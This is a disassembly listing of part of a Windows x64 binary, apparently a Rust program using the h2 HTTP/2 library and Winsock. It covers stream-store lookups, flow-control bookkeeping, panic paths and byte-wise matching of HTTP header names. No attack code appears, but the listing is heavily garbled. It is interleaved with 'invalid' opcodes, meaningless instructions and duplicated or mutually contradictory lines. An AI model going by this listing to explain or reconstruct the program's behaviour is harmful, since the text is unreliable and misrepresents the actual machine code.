mov rdx, qword [r14 + 0x1b8]
test rdx, rdx
je 0x14007e354
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rdi + 0x42000000], ah
cmp dword [rdx + rax], 2
cmp dword [rdx + r8], 2
je 0x14007e354
add rdx, r8
cmp dword [rdx + 0x114], ecx
jne 0x14007e354
lea rcx, [r14 + 0x20]
call fcn.140077f10
test dil, dil
jne 0x14007e2e4
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14007e344
mov rcx, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
call fcn.1401666c0
test al, al
invalid
jne 0x14007e2e4
mov byte [r14 + 0x18], 1
jmp 0x14007e2e4
mov qword [rsp + 0x38], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x40], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x48]
call fcn.140160e20
jns 0x14007e3cf
invalid
add byte [rdi], cl
invalid
jns 0x14007e3cf
invalid
add eax, dword [rcx + rbp*8]
in al, dx
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x39], cl
mov r14, rdx
mov r15, qword [rdx]
cmp cl, byte [rcx - 0x73]
pop rdi
adc byte [rax - 0x77], cl
fcos
adc eax, 0xe9c5c
cmp cl, byte [rcx - 0x73]
pop rdi
adc byte [rax - 0x77], cl
fcos
adc eax, 0xe9c5c
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14007e70b
add byte [rax], al
xor eax, eax
movzx ecx, byte [r15 + 0x18]
test cl, cl
jne 0x14007e71f
mov qword [rsp + 0x70], rbx
mov r13d, dword [r14 + 8]
mov r12d, dword [r14 + 0xc]
mov dword [rsp + 0x28], r13d
lea r11, [rsp + 0x2c]
sub al, 0x44
mov dword [rsp + 0x2c], esp
sub al, 0x44
mov dword [rsp + 0x2c], esp
mov rdx, qword [r15 + 0x1c8]
cmp rdx, r13
jbe case.0x140069261.455
mov r10, qword [r15 + 0x1b8]
test r10, r10
je case.0x140069261.455
imul rbp, r13, 0x130
cmp dword [r10 + rbp], 2
je case.0x140069261.455
lea rcx, [r10 + rbp]
cmp dword [rcx + 0x114], r12d
add byte [rax], al
add byte [rax], al
jne case.0x140069261.455
mov r14d, dword [rcx + 0x11c]
mov bl, 4
cmp r14d, edi
jb 0x14007e796
mov ecx, dword [r15 + 0x6c]
lea r8d, [rcx + rdi]
shl r8, 0x20
mov r9d, ecx
add r9d, edi
movabs rbx, 0x300000001
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
cmovo r8, rbx
sub dword [r15 + 0xb0], edi
add byte [rbp - 0x7c], al
invalid
jne 0x14007e4b6
add byte [rbp - 0x7c], al
sal byte [rbp + 0xb], 0x49
shr eax, 0x20
shr r8, 0x20
mov dword [r15 + 0x6c], r8d
mov ecx, r8d
mov r8d, dword [r15 + 0x68]
sub ecx, r8d
jle 0x14007e514
mov r9d, r8d
shr r9d, 0x1f
add r9d, r8d
sar r9d, 1
cmp ecx, r9d
jl 0x14007e514
mov r8, qword [r15 + 0x160]
mov eax, dword [rdi + 0x160]
mov rcx, qword [r15 + 0x168]
mov qword [r15 + 0x160], 0
test r8, r8
je 0x14007e514
mov ebx, eax
call qword [rioctlsocket + 8]
lea r11, [rsp + 0x2c]
mov eax, ebx
movabs rbx, 0x300000001
mov r10, qword [r15 + 0x1b8]
mov rdx, qword [r15 + 0x1c8]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
sub byte [rcx + rcx*4 + 0x64], al
and al, 0x2c
cmp rdx, r13
jbe 0x14007e838
test r10, r10
je 0x14007e838
cmp dword [r10 + rbp], 2
je 0x14007e838
add r10, rbp
cmp dword [r10 + 0x114], r12d
jne 0x14007e838
sub dword [r10 + 0x11c], edi
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
and al, 0x2c
and al, 0x2c
mov rcx, qword [r15 + 0x1c8]
cmp rcx, r13
jbe 0x14007e838
mov r10, qword [r15 + 0x1b8]
test r10, r10
je 0x14007e838
cmp dword [r10 + rbp], 2
je 0x14007e838
mov ecx, dword [rdx + 0xa4]
lea r8d, [rdi + r9]
shl r8, 0x20
add r9d, edi
cmovo r8, rbx
test r8b, r8b
jne 0x14007e5cc
shr r8, 0x20
shr eax, 0x20
mov dword [rdx + 0xa4], r8d
mov r10, qword [r15 + 0x1b8]
mov rcx, qword [r15 + 0x1c8]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
cmp rcx, r13
jbe case.0x140069261.455
test r10, r10
je case.0x140069261.455
cmp dword [r10 + rbp], 2
je case.0x140069261.455
add r10, rbp
cmp dword [r10 + 0x114], r12d
jne case.0x140069261.455
mov edx, dword [r10 + 0xa0]
mov ecx, dword [r10 + 0xa4]
mov bl, 0xc
sub ecx, edx
jle 0x14007e796
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
jl 0x14007e796
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
cmp dword [r10], 2
je case.0x140069261.455
cmp dword [r10 + 0x114], r12d
jne case.0x140069261.455
cmp byte [r10 + 0x127], 0
jne 0x14007e771
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
cmp dword [r10], 2
je 0x14007e838
invalid
add byte [rbp + 0x39], al
movabs byte [0x1b7850f00000114], al
add byte [rax], al
cmp dword [r10 + 0x114], r12d
jne 0x14007e838
mov byte [r10 + 0x127], 1
cmp dword [r15 + 0x70], 0
je 0x14007e753
add byte [rax], al
mov edx, dword [r15 + 0x7c]
mov r8d, dword [r15 + 0x80]
mov dword [rsp + 0x28], edx
push rsp
and al, 0x28
mov dword [rsp + 0x2c], r8d
cmp qword [r15 + 0x1c8], rdx
add byte [rdi], cl
invalid
add dword [rcx], 0
invalid
add byte [rdi], cl
xchg byte [rbx + 0x49000001], al
mov ecx, dword [rdi + 0x1b8]
invalid
mov rcx, qword [r15 + 0x1b8]
add byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x14007e838
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x14007e838
add rcx, rdx
cmp dword [rcx + 0x114], r8d
cmp dword [rcx + 0x114], eax
cmp dword [rcx + 0x114], eax
jne 0x14007e838
lea rdx, [r15 + 0x80]
mov dword [rcx + 0xe8], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x57], al
in al, dx
add byte [rax], al
add byte [rcx + rcx*4 - 0x5f], al
lock add byte [rax], al
add byte [rbp - 0x77], al
outsd dx, dword [rsi]
jl 0x14007e6f5
mov dword [rcx + 0xec], r13d
mov dword [rcx + 0xf0], r12d
mov dword [r15 + 0x7c], r13d
jmp 0x14007e76e
invalid
call fcn.1401666c0
xor al, 1
movzx ecx, byte [r15 + 0x18]
test cl, cl
je 0x14007e40e
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x40], ebx
mov byte [rsp + 0x48], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140195758]
lea ecx, [0x140195758]
jo 0x14007e752
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x40
lea r8, [rsp + 0x40]
lea eax, [rsp + 0x40]
mov edx, 0x2b
call fcn.140161200
ud2
or eax, dword [rcx - 0x39]
jo case.0x14006cab3.226
invalid
mov dword [r15 + 0x70], 1
add byte [rax], al
add byte [rbp - 0x77], al
outsd dx, dword [rsi]
je 0x14007e7a5
add byte [rax], al
mov dword [r15 + 0x74], r13d
mov dword [r15 + 0x78], r12d
invalid
invalid
mov dword [rdi + 0x78], esp
js 0x14007e7a9
mov dword [r15 + 0x7c], r13d
mov dword [rdi + 0x7c], ebp
lea rdx, [r15 + 0x80]
add byte [rax], 0
add byte [rcx + rcx*4 + 0x22], al
mov dword [rdx], r12d
mov rdx, qword [r15 + 0x160]
mov rcx, qword [r15 + 0x168]
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x75], cl
invalid
add byte [rax], al
add byte [rcx - 0x39], cl
xchg dword [rax + 1], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [r15 + 0x160], 0
test rdx, rdx
je 0x14007e796
mov ebp, eax
call qword [rdx + ioctlsocket]
push rdx
invalid
mov eax, ebp
test al, al
jne 0x14007e7a9
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
test eax, eax
jne 0x14007e7d3
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
pushfq
cwde
invalid
add byte [rax - 0x1c6befb], dh
jae 0x14007e7c0
pushfq
cwde
invalid
mov byte [rsi + 1], bl
mov al, 3
add dword [rax + 0x48068803], esi
add esp, 0x78
mov byte [rsi], al
add rsp, 0x78
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401666c0
test al, al
jne 0x14007e7a9
mov byte [r15 + 0x18], 1
jmp 0x14007e7a9
mov qword [rsp + 0x30], r11
lea rax, [0x14006a5f0]
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
popfq
adc al, byte [rax]
popfq
adc al, byte [rax]
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
mov qword [rsp + 0x30], r11
lea rax, [0x14006a5f0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
add qword [rax], rax
add byte [rax], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x129d2f
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x129d2f
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
xor byte [rcx + 0x18], 0
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
jmp r9
lea rcx, reloc.WS2_32.dll_recv
mov r8, qword [rcx + rax*8]
lea rcx, str.InactiveStreamIdUnexpectedFrameTypePayloadTooBigRejectedReleaseCapacityTooBigOverflowedStreamIdMalformedHeadersMissingUriSchemeAndAuthorityPollResetAfterSendResponseSendPingWhilePendingSendSettingsWhilePendingPeerDisabledServerPushReset
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
invalid
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
mov rdx, rax
invalid
invalid
mov rdx, rax
jmp r9
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1401db5d4]
mov r8d, 5
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x14007e93d
invalid
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x14007e93d
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x14007e9b0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1401db5ab]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
and al, 0x38
mov r8d, 4
add byte [rax], al
add al, ch
mov ch, 0xe0
std
add byte [rax], al
call fcn.14005ca00
cmp byte [rsp + 0x31], 0
inc dword [rax + 0x31247c]
movzx eax, byte [rsp + 0x30]
je 0x14007e997
test al, al
mov al, 1
jne 0x14007e997
mov rax, qword [rsp + 0x28]
and al, 0x28
test byte [rax + 0x34], 4
jne 0x14007e97f
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401da4d0]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x15bb59
mov r8d, 2
jmp 0x14007e994
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
invalid
invalid
sub byte [rax - 0x73], cl
adc eax, 0x15d71d
lea rdx, [0x1401dc0ab]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
ror byte [rdi], 0x95
ror byte [rax - 0x7d], 0xc4
pop rsi
setne al
add rsp, 0x40
pop rsi
ret
int3
movabs byte [0x488a0c63480018a6], al
add ecx, edx
add byte [rax + 0x63], cl
or al, 0x8a
add rcx, rdx
jmp rcx
add qword [rax - 0x77], rcx
and al, 0x38
lea r9, [rax + 4]
add rax, 8
ror byte [rax], 0x48
lea ecx, [rsp + 0x38]
ror byte [rax], 0x48
lea ecx, [rsp + 0x38]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
lea rax, [0x1401a8760]
mov qword [rsp + 0x20], rax
lea rdx, [0x1401a8f77]
mov r8d, 5
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
jmp 0x14007ea43
lea rcx, [rax + 1]
mov qword [rsp + 0x38], rcx
and al, 0x38
jmp 0x14007ea43
and al, 0x38
lea r9, [rax + 8]
add rax, 4
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x30], rcx
and al, 0x30
xor byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
lea rax, [0x1401a87d8]
cmpsd dword [rsi], dword [rdi]
popfq
adc al, byte [rax]
mov qword [rsp + 0x20], rax
lea rdx, str.GoAway
lea edx, str.GoAway
lea edx, str.GoAway
mov r8d, 6
mov rcx, rsi
call fcn.14005d680
std
invalid
jmp 0x14007eb8b
std
invalid
movabs byte [0x6b8410012], al
call qword [rax + 0x18]
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x48], al
mov qword [rsp + 0x38], 0
add byte [rax], al
mov byte [rsp + 0x49], 0
lea r8, [0x1401a8fa0]
lea eax, [0x1401a8fa0]
lea eax, [0x1401a8fa0]
jmp fcn.14007eb10
invalid
and al, 0x48
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x49], 0
lea r8, [0x1401a8e70]
jmp fcn.14007eb10
mov r8d, 2
call qword [rax + 0x18]
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x48], al
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x49], 0
lea r8, [0x1401a8fc0]
invalid
add byte [rax - 0x73], cl
and al, 0x38
lea rdx, [rsp + 0x50]
call fcn.14005cdb0
mov rax, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
and al, 0x38
movzx ecx, byte [rsp + 0x48]
test rax, rax
invalid
je 0x14007eb84
mov bl, 1
test cl, cl
jne 0x14007eb86
mov rsi, qword [rsp + 0x40]
cmp rax, 1
jne case.0x140079275.202
cmp byte [rsp + 0x49], 0
je case.0x140079275.202
test byte [rsi + 0x34], 4
xor al, 4
jne case.0x140079275.202
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov ch, reloc.WS2_32.dll_setsockopt
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x14007eb86
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
rcl dword [rbx]
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
rcl dword [rbx]
adc edx, dword [rsi]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14007eb86
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x58
pop rbx
pop rsi
ret
mov rcx, qword [rcx]
jmp 0x140134da0
mov dword [rsp + 0x28], eax
and al, 0x28
mov qword [rsp + 0x30], 1
lea rax, [0x140204680]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
invalid
lea rdx, [0x1401a9160]
lea rdx, [0x1401a9160]
lea rcx, [rsp + 0x28]
call fcn.140160e20
ud2
int3
int3
pop rax
lea rax, str.Hash_table_capacity_overflow
jge 0x14007ebbe
adc al, byte [rax]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, [0x140204680]
add eax, 0x185a50
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhashbrown_0.14.0_src_rawmod.rs
adc eax, 0x12a5d4
adc eax, 0x12a5d4
lea rcx, [rsp + 0x28]
call fcn.140160e20
ud2
add al, ch
invalid
add byte [rax], al
mov qword [rsi], rdx
mov qword [rsi + 8], rdi
mov byte [rsi + 0x10], 0
jmp 0x14007ee5f
clc
and r8, 0xfffffffffffffffc
cld
xor r9d, r9d
nop dword [rax + rax]
invalid
movzx r10d, byte [rdx + r9]
movzx r10d, byte [rax + r10]
mov dh, setsockopt
adc byte [rsi - 0x78], al
adc al, 0xb
invalid
or eax, dword [rsi + 0xf]
mov dh, 0x54
or al, byte [rcx]
movzx r10d, byte [rdx + r9 + 1]
movzx r10d, byte [rax + r10]
mov byte [rbx + r9 + 1], r10b
movzx r10d, byte [rdx + r9 + 2]
add al, byte [rsi + 0xf]
mov dh, setsockopt
adc byte [rsi - 0x78], al
push rsp
or eax, dword [rdx]
add al, byte [rsi + 0xf]
mov dh, setsockopt
adc byte [rsi - 0x78], al
push rsp
or eax, dword [rdx]
lea r10, [r9 + 4]
movzx r11d, byte [rdx + r9 + 3]
movzx r11d, byte [rax + r11]
movzx ebx, byte [rax + rbx]
movzx ebx, byte [rax + rbx]
mov byte [rbx + r9 + 3], r11b
mov r9, r10
cmp r8, r10
jne 0x14007ecf0
test rcx, rcx
je 0x14007ed66
lea r8, [rbx + r10]
add rdx, r10
rol byte [rbp + 0x31], cl
leave
rol byte [rbp + 0x31], cl
leave
nop dword [rax]
movzx r10d, byte [rdx + r9]
movzx r10d, byte [rax + r10]
mov byte [r8 + r9], r10b
inc r9
cmp rcx, r9
jne 0x14007ed50
mov rcx, rbx
mov rdx, rdi
call fcn.14007ee70
add byte [rcx + rdx*2], bh
add byte [rcx + rdx*2], bh
jne case.0x140079fdb.90
cmp rdi, 0xf
ja 0x14007eda2
xor eax, eax
nop dword [rax]
cmp byte [rbx + rax], 0
je case.0x14007c308.41
inc rax
ror byte [rax + 0x39], 0xc7
cmp rdi, rax
jne 0x14007ed80
jmp 0x14007ee4e
mov byte [rsi], al
mov byte [rsi + 0x10], 2
jmp 0x14007ee5f
lea rax, [rbx + 7]
and rax, 0xfffffffffffffff8
and eax, 0xfffffff8
and eax, 0xfffffff8
sub rax, rbx
je 0x14007eddd
cmp rax, rdi
cmovae rax, rdi
cmovae eax, edi
cmovae eax, edi
test rax, rax
je 0x14007eddd
xor ecx, ecx
leave
nop dword [rax]
cmp byte [rbx + rcx], 0
je case.0x14007c308.41
inc rcx
cmp rax, rcx
jne 0x14007edc0
lea rcx, [rdi - 0x10]
cmp rax, rcx
jbe case.0x14007ad61.70
jmp case.0x14007c308.23
lea rcx, [rdi - 0x10]
invalid
xor eax, eax
movabs rdx, 0xfefefefefefefeff
movabs r8, 0x8080808080808080
nop word [rax + rax]
nop dword [rax + rax]
invalid
mov r9, qword [rbx + rax]
mov ecx, dword [rbx + rax]
mov r10, r9
not r10
add r9, rdx
and r9, r10
test r9, r8
jne case.0x14007c308.23
mov r9, qword [rbx + rax + 8]
mov r10, r9
not r10
add r9, rdx
and r9, r10
test r9, r8
jne case.0x14007c308.23
add rax, 0x10
cmp rax, rcx
jbe 0x14007ee00
cmp rax, rdi
je 0x14007ee4e
nop dword [rax]
cmp byte [rbx + rax], 0
je case.0x14007c308.41
inc rax
cmp rdi, rax
jne 0x14007ee40
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
mov byte [rsi + 0x10], 1
adc byte [rcx], al
invalid
jmp 0x14007ee5f
mov byte [rsi + 0x10], 3
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
dec byte [rax - 0x7d]
cli
and dword [rdi], ecx
xchg dword [rcx + 0x2a], ebx
add byte [rax], al
invalid
cmp edx, 0x21
ja case.0x14007f7ae.105
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14020907c]
movsxd rdx, dword [r8 + rdx*4]
invalid
adc al, 0x90
cmc
movabs eax, dword [0x14c901463490018]
invalid
adc al, 0x90
add rdx, r8
jmp rdx
invalid
adc al, 0x90
add rdx, r8
jmp rdx
cmp byte [rcx], 0x74
jne case.0x14007f7ae.105
mov al, 0x43
mov dl, 0x65
mov r8d, 1
cmp byte [rcx + rax], dl
movzx ecx, al
mov eax, 0x51
cmove eax, ecx
jmp case.0x14007f7ae.105
cmp byte [rcx], 0x73
jne case.0x14007f7ae.105
sub al, byte [rax]
invalid
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
test ebx, edi
sub dword [rax], eax
invalid
test ebx, edi
sub dword [rax], eax
add byte [rax + 0xf770479], al
test ecx, esi
int1
cmp byte [rcx + 4], 0x77
jne case.0x14007f7ae.105
int1
sub dword [rax], eax
invalid
int1
sub dword [rax], eax
add byte [rax + 0xf650579], al
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x62
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x73
invalid
test ebx, edx
sub dword [rax], eax
cmp byte [rcx + 5], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x62
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x73
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf6f0879], al
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
leave
sub dword [rax], eax
invalid
test ecx, ecx
sub dword [rax], eax
add byte [rax + 0xf630979], al
test dword [rdi - 0x7fffffd7], edi
jns case.0x14007c308.44
cmp byte [rcx + 9], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x6b
jne case.0x14007f7ae.105
sub dword [rax], eax
invalid
imul ecx, dword [rdi], 0xffffff85
mov ch, 0x29
sub dword [rax], eax
invalid
sub dword [rax], eax
add byte [rax + 0xf650b79], al
jne case.0x14007f7ae.105
invalid
jns 0x14007ef3d
cmp byte [rcx + 0xb], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x74
jne case.0x14007f7ae.105
je 0x14007ef42
test dword [rcx - 0x7fffffd7], esp
jns 0x14007ef48
cmp byte [rcx + 0xd], 0x2d
jne case.0x14007f7ae.105
sub eax, 0x2997850f
add byte [rax], al
test dword [rdi - 0x7fffffd7], edx
cmp byte [rcx + 0xe], 0x61
jne case.0x14007f7ae.105
invalid
jns 0x14007ef53
invalid
lea ebp, [rcx]
add byte [rax], al
invalid
cmp byte [rcx + 0xf], 0x63
jne case.0x14007f7ae.105
jns 0x14007ef5e
invalid
sub dword [rax], eax
add byte [rax + 0xf631079], al
test dword [rcx + 0x29], edi
cmp byte [rcx + 0x10], 0x63
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0x11], 0x65
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf701279], al
test dword [rbp + 0x29], esp
add byte [rax], al
cmp byte [rcx + 0x12], 0x70
jne case.0x14007f7ae.105
mov al, 0x3b
mov dl, reloc.WS2_32.dll_WSACleanup
je 0x14007efba
mov eax, reloc.WS2_32.dll_send
jmp case.0x14005f6a2.621
cmp byte [rcx], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
add byte [rax + 0xf6e0279], al
test dword [rcx], edi
sub dword [rax], eax
add byte [rax + 0xf740379], al
test dword [rdi], ebp
sub dword [rax], eax
cmp byte [rcx + 2], 0x6e
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x74
jne case.0x14007f7ae.105
add byte [rax + 0xf650479], al
test dword [0xc007efde], esp
jns 0x14007efbc
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6e
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x65
jne case.0x14007f7ae.105
sub byte [rax], al
invalid
jne case.0x14007f7ae.105
sub byte [rax], al
add byte [rax + 0xf630a79], al
jns 0x14007eff3
invalid
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x75
invalid
cmp byte [rcx + 0xa], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x75
jne case.0x14007f7ae.105
test edi, ebx
sub byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xc], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x69
invalid
add byte [rax], al
cmp byte [rcx + 0xc], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x69
jne case.0x14007f7ae.105
test ebx, ecx
sub byte [rax], al
invalid
test ebx, ecx
sub byte [rax], al
add byte [rax + 0xf740e79], al
jns 0x14007f01f
je 0x14007f022
test ecx, eax
sub byte [rax], al
add byte [rax + 0xf790f79], al
test dword [rdi - 0x7fffffd8], esi
jns 0x14007f035
sub byte [rax], al
add byte [rax + 0xf2d1079], al
sub eax, 0x28ad850f
add byte [rax], al
invalid
invalid
cmp byte [rcx + 0x10], 0x2d
jne case.0x14007f7ae.105
invalid
sub eax, 0x28ad850f
add byte [rax], al
invalid
add byte [rax + 0xf701179], al
cmp byte [rcx + 0x11], 0x70
jne case.0x14007f7ae.105
jns 0x14007f040
jo 0x14007f040
test dword [rbx - 0x7fffffd8], esp
jns 0x14007f04b
add byte [rax + 0xf6f1279], al
test dword [rcx - 0x7fffffd8], ebx
jns 0x14007f056
cmp byte [rcx + 0x12], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0x13], 0x6c
insb byte [rdi], dx
jne case.0x14007f7ae.105
cmp byte [rcx + 0x14], 0x69
jne case.0x14007f7ae.105
jns 0x14007f061
imul ecx, dword [rdi], 0x288585
add byte [rax + 0xf631579], al
cmp byte [rcx + 0x15], 0x63
jne case.0x14007f7ae.105
sub byte [rax], al
invalid
cmp byte [rcx + 0x15], 0x63
jne case.0x14007f7ae.105
sub byte [rax], al
invalid
jns 0x14007f06c
adc eax, 0x7b850f63
invalid
sub byte [rax], al
add byte [rax + 0x4179b21b], dh
mov al, 0x1b
mov dl, 0x79
mov r8d, reloc.WS2_32.dll_shutdown
add byte [rax], al
invalid
jns 0x14007f0a4
mov eax, reloc.WS2_32.dll_shutdown
jmp case.0x14005f6a2.621
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0x17
ja case.0x14007f7ae.105
xchg dword [rbp + 0x28], ebx
add byte [rax], al
invalid
xchg dword [rbp + 0x28], ebx
add byte [rax], al
invalid
add byte [rbp + rcx*4 + 5], cl
movabs eax, dword [0x4c901463490018a1]
movabs eax, dword [0x14c901463490018]
invalid
lea r8, [0x140209224]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf650379], al
test dword [rdi], ebp
sub byte [rax], al
add byte [rax + 0xf700479], al
test dword [0xc007f0dd], esp
jns 0x14007f0bc
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x70
jne case.0x14007f7ae.105
add byte [rax + 0xf740579], al
cmp byte [rcx + 5], 0x74
jne case.0x14007f7ae.105
invalid
je 0x14007f0c8
test dword [rbx], ebx
sub byte [rax], al
add byte [rax], al
add byte [rax + 0xf2d0679], al
test dword [rcx], edx
sub byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
invalid
jns case.0x140078cb8.173
sub eax, 0x2811850f
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x51
invalid
